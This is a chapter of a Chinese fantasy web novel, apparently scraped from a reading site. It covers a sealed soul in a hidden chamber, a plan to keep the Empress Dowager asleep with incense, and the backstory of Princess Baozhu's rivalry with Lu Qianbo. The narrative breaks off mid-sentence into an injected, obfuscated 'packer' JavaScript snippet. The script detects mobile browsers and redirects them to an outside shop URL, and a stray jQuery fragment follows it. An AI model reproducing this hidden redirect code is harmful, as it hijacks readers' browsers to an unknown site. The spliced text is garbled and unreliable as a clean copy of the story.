默认冷灰
24号文字
方正启体

第269章 好动怜弱,颇有侠气

作者:雪落听风本书字数:K更新时间:
    萧启接过,快速浏览过后,脸色愈发阴沉。


    尤其是看到关于“府君”可能与皇室相关,以及太后某些不为人知的隐秘时,他眼中厉色一闪而过。


    两人很快来到玉衡的精舍。


    此处已被玄察司的人初步封锁,但云昭有令牌,畅通无阻。


    她径直走向卧室内侧一面看似普通的墙壁。


    按照阿措依逼问出的信息,以及她自身玄瞳的探查。


    她抬手,指尖凝聚灵力,在墙壁几处特定的位置或轻或重地连点数下。


    只听一阵轻微的机括转动声,墙壁悄无声息地向内滑开,露出后面一间不过丈许见方的隐秘暗室。


    暗室内陈设极其简单,仅有一张石榻,一个蒲团,以及靠墙摆放的两个物件。


    一个,是一个约莫巴掌大小,通体漆黑的小瓶子,瓶身冰凉,隐隐有阴气透出。


    另一个,则是个一尺见方、样式古朴的乌木箱子。


    箱子上挂着一个小小的铜锁,锁上并无钥匙孔,反而刻着复杂的符文。


    云昭的目光先落在了那个黑色小瓶上。


    这瓶子的质地并不陌生,先时南华郡主陆倩波被人诓骗,供奉的所谓“桃花仙人”,便是这等墨玉制成。


    而朱嬷嬷口中,林静薇曾在自己房中供奉的,也是一尊墨玉制成的仙人。


    可惜的是,之前秦王手下在清溪镇捕获林静薇,收缴的一干邪物,并未见到那尊墨玉仙人。


    能在玉衡的密室见到这只墨玉小瓶,足以证明此前云昭推断不假。


    玉衡**,林静薇,薛九针,梅柔卿……这些人之中,确实存在着某种关联。


    她走上前,小心地解开封口的符箓——


    这符箓平日不多见,只因它的作用,主要是禁锢与隔绝气息。


    符箓刚一揭开,一股极其微弱的的魂力波动便从瓶口散逸出来。


    云昭看向萧启:“依照玉衡所说,这里面拘禁着的,便是当日受命下手、害死宝珠的真凶之魂。


    玉衡事后将其魂魄抽出,囚禁于此,以防其泄密,或另作他用。”


    萧启闻言,死死盯住了那个黑色小瓶。


    云昭不再多言,双手掐诀,口中念诵一段简短的安魂引魄咒文。


    随着她指尖灵光流转,瓶口处一缕近乎透明的灰白色雾气袅袅升起,在暗室中缓缓凝聚成一个男子的虚影。


    魂魄看起来十分虚弱。


    魂体淡薄,轮廓模糊,眼神空洞呆滞。


    仿佛被囚禁太久,灵智已损,只余下一点本能的恐惧与茫然。


    他看起来约莫三十岁上下、相貌极其普通,属于那种丢进人堆就照不出来的普通。


    然而,当萧启的目光落在他生前的衣着打扮上时,眼瞳骤然一缩!


    云昭则反应了一下,才陡然记起,此人的衣着装扮,竟与早前死在她手上的灵峰如出一辙。


    似的,此人身上穿的,是一套制式鲜明……东宫侍卫服制!


    “东宫……”萧启缓缓从齿缝间挤出两个字。


    云昭也是心头剧震,但她很快压下翻涌的情绪,知道此刻不是震惊的时候。


    她凝神静气,左手拇指扣住无名指根,食指与中指并拢向上,右手反之,掌心相对,间隔寸许,形成一个蕴含阴阳流转之意的“通幽引灵印”。


    “太阴通幽,玄光引路。寂灭之灵,听吾敕令:


    三魂归位,七魄凝形;前尘旧影,返照心灯;


    迷障尽散,真言自陈——!”


    最后一声轻喝,云昭指尖的灵光骤然明亮了一瞬,如同一枚小小的银月,在男子魂魄眉心处印了一下。


    随着云昭的施法,那侍卫呆滞的眼神猛地一颤,仿佛被无形的针扎了一下。


    原本淡薄得几乎要随风飘散的魂体,向内收缩凝实,逐渐显露出更为清晰的轮廓。


    虽然依旧虚弱,但总算恢复了基本的意识与表达能力。


    他茫然地看了看四周,最后目光落在云昭身上。


    他能感受到,她身上那股气息,令他敬畏,又不由自主想要遵从。


    云昭见其魂魄已然稳住,灵台复明,不再有消散之虞,便迅速撤去法印。


    转身看向面色沉凝如铁的萧启,语气斩钉截铁,不容置疑:


    “先去公主府。有关宝珠的真相,我答应过长公主,一定会给她和驸马一个明白。


    今日,就是兑现之时。”


    紧接着,云昭唤来墨七,将一样东西交到她手上:


    “将此物置于太后娘娘回宫的马车座垫之下。


    务必放得隐蔽些,莫让他人察觉。”


    她顿了顿,抬眸看向墨七,叮嘱里含着深意:


    “看好太后娘娘。


    路途颠簸,老人家今日受惊匪浅,神思困顿,需得安安稳稳地睡上一觉才好。


    务必确保……在她面见陛下之前,能静心安神,养足精神。”


    这番话,明面是关切太后风体,实则是要确保太后在抵达皇宫、见到皇帝之前,一直处于昏睡状态。


    香囊里,并非寻常安神香料,而是云昭以特殊手法调配的“沉梦香”。


    佐以宁神符箓的效力,能让人在不知不觉间,陷入最深层次的睡眠。


    墨七跟随云昭日久,立刻心领神会。


    她双手接过玄色香囊,当下肃容颔首:“属下明白,定会办妥。”


    随即身形一动,悄无声息地朝着太后车驾方向而去。


    事不宜迟,云昭和萧启当即离开玄都观,快马加鞭,一路直朝着长公主府邸疾驰而去。


    *


    入夜。


    公主府早已接到通传,灯火通明。


    长公主与驸马卫临于正厅等候。


    厅内,所有的帘幔都已放下,只点了几盏光线柔和的宫灯,使得整个空间显得有些昏暗。


    云昭与萧启步入厅中,对长公主夫妇简单见礼后,并无多余寒暄。


    长公主抬手示意,侍立左右的心腹下人便悄然退至厅外,并严密把守。


    “义母。”云昭声音沉静,目光扫过强自镇定的长公主与卫临,


    “今日,我便将三年前,宝珠郡主遇害的全部真相,呈现于二位面前。”


    说罢,她再次取出那黑色小瓶,解开封符。


    随着她低声念诵指引,那东宫侍卫的魂魄虚影,缓缓在厅堂中央略显昏暗的光线下凝聚显现。


    尽管魂体依旧虚弱,但在云昭灵力的维持下,足以清晰表述。


    长公主看到那魂魄虚影身上的东宫侍卫服饰时,不由浑身一颤,被身旁的卫临及时扶住。


    卫临双眸血红,死死盯住那魂魄,似要将其


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022814|187080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生吞活剥。


    云昭对那魂魄道:


    “将你所知,有关嘉乐郡主卫宝珠之事,从头至尾,据实道来,不得有半分隐瞒虚妄。”


    那侍卫魂魄对云昭充满畏惧,木然地点了点头。


    三年前上元灯节,宝珠的失踪,绝非偶然。


    但也并非众人以为的,一开始便有大奸大恶的匪徒,故意盯上她。


    事实上,就连云昭都未曾想到,宝珠的失踪,竟与南华郡主有着脱不开的干系。


    三年前,嘉乐郡主宝珠年仅八岁,而南华郡主陆倩波也不过十三岁。


    宝珠性子活泼热烈,擅长骑射,好动怜弱。


    真要说起来,其为人与性情,与如今京中那位快人快语、颇有侠气的李灼灼小姐,颇有几分相似。


    而南华郡主,身为异姓王、大将军陆擎的独女,安王妃的掌上明珠,自小被骄纵得目中无人。


    她亦**骑射,但更多是为了炫耀与争胜,论起扎实功底与仁心,远不及宝珠。


    那年秋狝,陛下龙心大悦,特设彩头。


    言明众贵女之中,骑射考核拔得头筹者,可获御赐的‘穿云弓’一副,并允其随驾参与翌年春日的南苑演武。


    穿云弓乃皇家珍品,意义非凡;


    随驾南苑演武,更是无上荣宠。


    陆倩波对此势在必得。


    围猎之中,陆倩波盯上了一只通体雪白的狐狸,紧追不舍,弯弓欲射。


    千钧一发之际,一支羽箭破空而来,精准地撞偏了陆倩波的箭镞。


    白狐惊惶窜入深草,逃过一劫。


    放箭之人,正是宝珠。


    她骑着小红马赶至,清脆的声音带着不赞同:


    “陆姐姐,陛下有明令,围猎不杀孕兽与幼崽。


    方才那白狐腹部圆润,步履略显蹒跚,分明是怀了崽的母狐,如何能射?”


    陆倩波当众被阻,脸上顿时挂不住,强辩道:


    “它跑得那般快,谁知道它是吃得太胖,还是真有孕了?宝珠妹妹未免管得太宽!”


    旁边跟随的几位贵女见状,纷纷劝解:


    “是啊,南华郡主,陛下确实有此令谕……”


    “还是算了吧,不过一只狐狸。”


    几乎所有人都向着宝珠说话,一时令陆倩波更觉难堪。


    恰在此时,空中掠过一只羽色绚烂的碧霄鸟。


    宝珠抬眼望去,眸光晶亮,她并未瞄准雉鸟身体,而是估算其飞行的轨迹与尾羽飘摇的节奏,纤指一松——


    弓弦轻响,一支去了箭镞、包着软布的“戏箭”疾射而出。


    不偏不倚,恰恰擦过那只碧霄鸟最长最华丽的一根尾羽根部!


    碧霄鸟受惊高飞,那根流光溢彩的尾羽却悠悠飘落,被宝珠探身接住。


    她举起那根羽毛,笑容灿烂:


    “刚好给我阿娘做一支最漂亮的宝簪,做她的生辰贺礼!”


    这一手“箭射彩羽不伤雉”的绝技,加之宝珠仁德不杀生的心性,顿时赢得了满场喝彩。


    事后连皇帝都拊掌称赞,当场将“穿云弓”赐下,更夸她仁心慧质,颇有长公主少时风范”。


    且说当时,众贵女围着宝珠,赞叹声不绝于耳。


    陆倩波被冷落在一旁,看着被众星捧月的宝珠,听着那些夸赞,嫉恨如同毒藤疯长。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)